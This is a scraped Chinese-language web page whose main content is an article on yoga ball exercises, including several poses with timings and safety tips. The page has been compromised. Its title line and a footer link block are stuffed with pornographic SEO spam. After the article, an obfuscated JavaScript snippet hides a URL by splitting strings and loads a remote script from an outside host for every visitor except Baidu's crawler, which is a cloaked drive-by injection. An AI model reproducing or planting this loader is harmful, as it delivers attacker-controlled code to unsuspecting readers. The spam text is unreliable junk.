久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

如何使用瑜珈球

2017-04-16 23:04:12  來源:360常識網   熱度:
導語:瑜伽是屬于一種比較常見的運動,它對于我們的身體是不會構成任何傷害的,長期的練習瑜伽是可以幫助我們改善很多的身體方面的問題的,所以大

瑜伽是屬于一種比較常見的運動,它對于我們的身體是不會構成任何傷害的,長期的練習瑜伽是可以幫助我們改善很多的身體方面的問題的,所以大家在平時的時候可以經常練習瑜伽,因為瑜伽是適用于任何人群的,很多人在練習瑜伽的時候會用瑜伽球來進行輔助,那么如何使用瑜珈球呢?

瑜伽球的用處很多,可以訓練人體平衡性,糾正體態,還能按摩減肥瘦身等等。那瑜伽球怎么用,小編今天就教給大家簡單的瑜伽球的教程吧。

1

球上蝗蟲式

動作:跪在球的后方,以大腿及腹部緊貼球,雙手放在球頂。呼氣,雙手撐地,身體平臥在球上,與地面平衡。吸氣,抬起左腿,彎曲右膝,以右腳板支撐住右大腿。保持姿勢15秒。完成后,還原起點動作,換腳重復動作。左右重復2至3遍。

功效:鍛煉臀部及大腿后方肌群,提升臀部線條,有助防止臀部下垂變形。

注意事項:注意力放在臀部及大腿后方,保持腿部伸直。

1_副本

球上頭撞膝式

動作:坐在健身球頂的邊緣,雙腿并攏。吸氣,舉起雙手,腰背挺直。呼氣,向前彎腰,腹部貼近大腿,額頭靠近小腿,雙手抓住足踝,按在地上。保持姿勢15秒。完成后,吸氣后還原起點動作。重復3至5次。

功效:伸展背部及大腿后方肌群,促進血液循環,令雙腿變得具彈性和柔軟。

注意事項:保持雙腿伸直,放松背部的肌肉,不要閉氣,以腹式呼吸進行練習。

2

舞者式

動作:1、把瑜伽球放在身體前方0.5米左右的地方,雙手掌壓球。

2. 抬起左腳,左手將其拉高,維持30秒然后還原換一側做。

功效:加強腰腹力量,減少背部和臀部脂肪。

3

戰斗式

動作:1、將球放在胯下,前腿屈膝90度,雙腳掌要完全接觸地面。

2、將球從胯下取出,舉高,雙臂伸直,保持30秒。

功效:強健大腿肌肉,消除下肢的多余脂肪。

瑜伽球練習時注意事項

1、給球打氣的時候打到“八分飽”,這樣球身更有彈性,方便做夾與抓握的動作。

2、瑜伽球有各種尺寸,初學者可以先用小球,比較方便控制。一般來說,大球比較容易保持平衡,小球較輕,但不易平衡。

3、 在家玩瑜伽球的時候,可以在地上鋪一條瑜伽墊或鋪巾,保持清潔,也不易打滑。

4、盡管瑜伽球鍛煉不易受傷,但還是要注意保持平衡,尤其是做車輪式等比較困難的動作,還原的時候一定要用手撐好。

5、在練習健身球瑜伽的時候要注意穿著,盡量不要穿一些過于寬松的服裝,以免瑜伽球擠壓服裝,出現意外,對身體造成傷

以上就是關于如何使用瑜珈球的一個介紹,我們在平時練習瑜伽的時候要注意,如果想要用瑜伽球來進行練習,首先需要掌握瑜伽球的使用技巧,這樣才能夠正確的進行,以免傷害到我們的身體健康,同時也建議大家在平時的時候多練習瑜伽。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 一级毛片观看 | 亚洲黄色免费在线看 | 男人天堂社区 | 久草在线资源福利站 | 欧美日韩精品一区 | 国产电影一区二区 | 超碰在线观看97 | 亚洲码欧美码一区二区三区 | 国产伦精品一区二区三区照片91 | 制服 丝袜 激情 欧洲 亚洲 | 韩国毛片在线观看 | 日韩爱爱网 | 国产精品7| 蜜臀久久99精品久久久久久宅男 | 国产亲子乱弄免费视频 | 韩国精品视频在线观看 | 麻豆毛片| 四虎影城 | www.国产 | 在线观看国产一区 | 羞羞色影院 | 91精品一二区| 91文字幕巨乱亚洲香蕉 | 99re国产精品视频 | 免费毛片在线播放 | 天天看天天操 | 激情亚洲婷婷 | 久久国产精品久久精品 | 久久一区二区三区四区 | 亚洲精品专区 | 在线一区二区视频 | 中文字幕日韩欧美 | 免费黄色在线观看 | 国产精品二区三区 | 成人亚洲精品久久久久 | 国产亚洲欧美一区二区 | 国产一级视频在线观看 | 午夜精品久久久久久久99黑人 | 成人一级电影在线观看 | 成人精品鲁一区一区二区 | 久久精品网 |